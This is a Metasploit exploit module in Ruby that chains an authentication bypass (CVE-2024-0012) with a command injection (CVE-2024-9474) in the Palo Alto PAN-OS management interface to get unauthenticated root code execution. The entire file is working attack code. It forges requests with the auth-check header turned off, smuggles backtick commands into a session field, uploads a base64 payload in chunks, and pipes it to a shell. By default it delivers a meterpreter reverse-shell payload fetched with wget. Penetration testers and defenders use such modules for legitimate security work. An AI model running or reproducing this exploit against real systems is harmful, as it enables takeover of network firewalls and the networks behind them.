##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
          vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
          execute arbitrary code with root privileges.

          The following version are affected:
          * PAN-OS 11.2 (up to and including 11.2.4-h1)
          * PAN-OS 11.1 (up to and including 11.1.5-h1)
          * PAN-OS 11.0 (up to and including 11.0.6-h1)
          * PAN-OS 10.2 (up to and including 10.2.12-h2)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'watchTowr', # Technical Analysis
          'sfewer-r7' # Metasploit module
        ],
        'References' => [
          ['CVE', '2024-0012'],
          ['CVE', '2024-9474'],
          # Vendor Advisories
          ['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'],
          ['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'],
          # Technical Analysis
          ['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/']
        ],
        'DisclosureDate' => '2024-11-18',
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => [ARCH_CMD],
        'Privileged' => true, # Executes as root on Linux
        'Targets' => [ [ 'Default', {} ] ],
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
          'FETCH_COMMAND' => 'WGET',
          'RPORT' => 443,
          'SSL' => true,
          'FETCH_WRITABLE_DIR' => '/var/tmp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  # Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to
  # confirm the target is vulnerable. The check routine will delete this file after it has been read.
  def check
    check_file_name = Rex::Text.rand_text_alphanumeric(4)

    # NOTE: We set dontfail to true, as a check routine cannot fail_with().

    return CheckCode::Unknown unless execute_cmd(
      "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}",
      dontfail: true
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('unauth', check_file_name)
    )

    return CheckCode::Unknown('Connection failed') unless res

    if res.code == 200 && res.body.include?(check_file_name)

      return CheckCode::Unknown unless execute_cmd(
        "rm -f /var/appweb/htdocs/unauth/#{check_file_name}",
        dontfail: true
      )

      return Exploit::CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  # We can only execute a short command upon each invocation of the command injection vulnerability. To execute
  # a Metasploit payload, we base64 encode our payload, and write it to a file, but we do the file write in small
  # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each
  # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk.
  # We then amalgamate all these chunks together into a single file, reconstituting the original base64 encoded
  # payload, Finally we base64 decode the payload, and pipe it to a shell to execute. To avoid our payload being
  # executed twice, the payload will delete the single base64 payload file upon the first execution of the payload,
  # causing any second attempt to execute the payload to fail.
  def exploit
    tmp_file_name = Rex::Text.rand_text_alphanumeric(4)

    cmd = "rm -f #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}*; #{payload.encoded}"

    payload = Base64.strict_encode64(cmd)

    idx = 1

    chunk_size = 30

    max_idx = (payload.length / chunk_size) + 1

    while payload && !payload.empty?

      print_status("Uploading payload chunk #{idx} of #{max_idx}...")

      chunk = payload[0, chunk_size]

      payload = payload[chunk_size..]

      execute_cmd("echo -n '#{chunk}' > #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}#{idx}")

      idx += 1
    end

    print_status('Amalgamating payload chunks...')

    execute_cmd("cat #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}")

    print_status('Executing payload...')

    execute_cmd("cat #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name} | base64 -d | sh", dontfail: true)
  end

  def execute_cmd(cmd, dontfail: false)
    user = "`#{cmd}`"

    # There is a 63 character limit for the command injection.
    if user.length >= 64
      fail_with(Failure::BadConfig, 'Command too long for execute_cmd')
    end

    vprint_status(user)

    # Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474).
    res1 = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"),
      'headers' => {
        'X-PAN-AUTHCHECK' => 'off'
      },
      'vars_post' => {
        'user' => user,
        'userRole' => 'superuser',
        'remoteHost' => '',
        'vsys' => 'vsys1'
      }
    )

    unless res1&.code == 200
      if dontfail
        return false
      end

      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php')
    end

    php_session_id = res1.body.to_s.match(/PHPSESSID=([a-z0-9]+)@/)

    unless php_session_id
      fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned')
    end

    # Trigger the command injection (CVE-2024-9474).
    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('index.php', '.js.map'),
      'headers' => {
        'Cookie' => "PHPSESSID=#{php_session_id[1]};"
      }
    )

    unless res2&.code == 200
      if dontfail
        return false
      end

      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map')
    end

    true
  end
end